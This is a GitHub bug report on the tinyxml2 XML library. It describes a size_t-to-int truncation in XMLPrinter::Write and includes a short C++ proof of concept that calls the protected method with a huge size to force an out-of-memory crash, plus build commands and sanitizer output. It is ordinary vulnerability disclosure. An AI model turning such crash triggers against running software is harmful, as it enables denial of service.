Skip to content

XMLPrinter::Write: size_t→int truncation causes incorrect buffer growth and OOM #1047

@NomanProdhan

Description

@NomanProdhan

Description

tinyxml2::XMLPrinter::Write(const char* data, size_t size) narrows size to int when growing the internal buffer, then copies size bytes. If size > INT_MAX, this truncation/underflow feeds an incorrect count into the growth routine while memcpy still uses the original size_t, leading to pathological allocations (OOM/std::bad_alloc, or ASan “allocation-size-too-big”). In release builds, DynArray overflow checks are assert-only, so arithmetic can wrap and exacerbate the failure mode.

Scope: Write is a protected API. TinyXML2’s public printing paths already chunk to INT_MAX, so normal use isn’t affected. The issue is relevant for subclasses (or future call sites) that invoke Write directly with large size_t values.

Impact: Reliable denial of service via OOM/bad_alloc; in theory, overflow risk in release due to unchecked growth math.

Steps to Reproduce

Build TinyXML2
Clone the repository and build with AddressSanitizer (optional but recommended to see detailed logs):

git clone https://github.com/leethomason/tinyxml2.git
cd tinyxml2
mkdir build-sani && cd build-sani
cmake -DBUILD_SHARED_LIBS=OFF -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=all -DNDEBUG" ..
cmake --build . -j

Compile the PoC
Save the following file as poc_minimal.cpp:

#include "tinyxml2.h"
using namespace tinyxml2;

struct MyPrinter : public XMLPrinter {
    using XMLPrinter::Write;  // expose protected method
};

int main() {
    MyPrinter printer;
    // Trigger with an overly large size_t allocation request
    printer.Write("A", SIZE_MAX - 15);
    return 0;
}

Then compile it against the built library:

clang++ -g -O1 -fsanitize=address,undefined -fno-omit-frame-pointer \
  ../poc_minimal.cpp -I.. ./libtinyxml2.a -o poc_minimal_sani

Run the PoC

./poc_minimal_sani

Observed Result
With Sanitizers :

=================================================================
==9543==ERROR: AddressSanitizer: requested allocation size 0xffffffffffffffe2 (0x7e8 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
    #0 0x61fd521323e1 in operator new[](unsigned long) (/home/ubuntu/tinyxml2/build-sani/poc_minimal_sani+0x1523e1) (BuildId: 9ffffbec5103cd32e7ba706e1117c66f083d32ef)
    #1 0x61fd52167cba in tinyxml2::DynArray<char, 20ul>::EnsureCapacity(unsigned long) /home/ubuntu/tinyxml2/tinyxml2.h:303:25
    #2 0x61fd52167cba in tinyxml2::DynArray<char, 20ul>::PushArr(unsigned long) /home/ubuntu/tinyxml2/tinyxml2.h:232:23
    #3 0x61fd52157fee in tinyxml2::XMLPrinter::Write(char const*, unsigned long) /home/ubuntu/tinyxml2/tinyxml2.cpp:2638:34
    #4 0x61fd521347e0 in main /home/ubuntu/tinyxml2/build-sani/../poc_minimal.cpp:11:13
    #5 0x7f4e6622a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x7f4e6622a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #7 0x61fd52058e54 in _start (/home/ubuntu/tinyxml2/build-sani/poc_minimal_sani+0x78e54) (BuildId: 9ffffbec5103cd32e7ba706e1117c66f083d32ef)

==9543==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big (/home/ubuntu/tinyxml2/build-sani/poc_minimal_sani+0x1523e1) (BuildId: 9ffffbec5103cd32e7ba706e1117c66f083d32ef) in operator new[](unsigned long)
==9543==ABORTING

Without Sanitizers (non-sanitized build)

terminate called after throwing an instance of 'std::bad_alloc'
  what():  std::bad_alloc

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions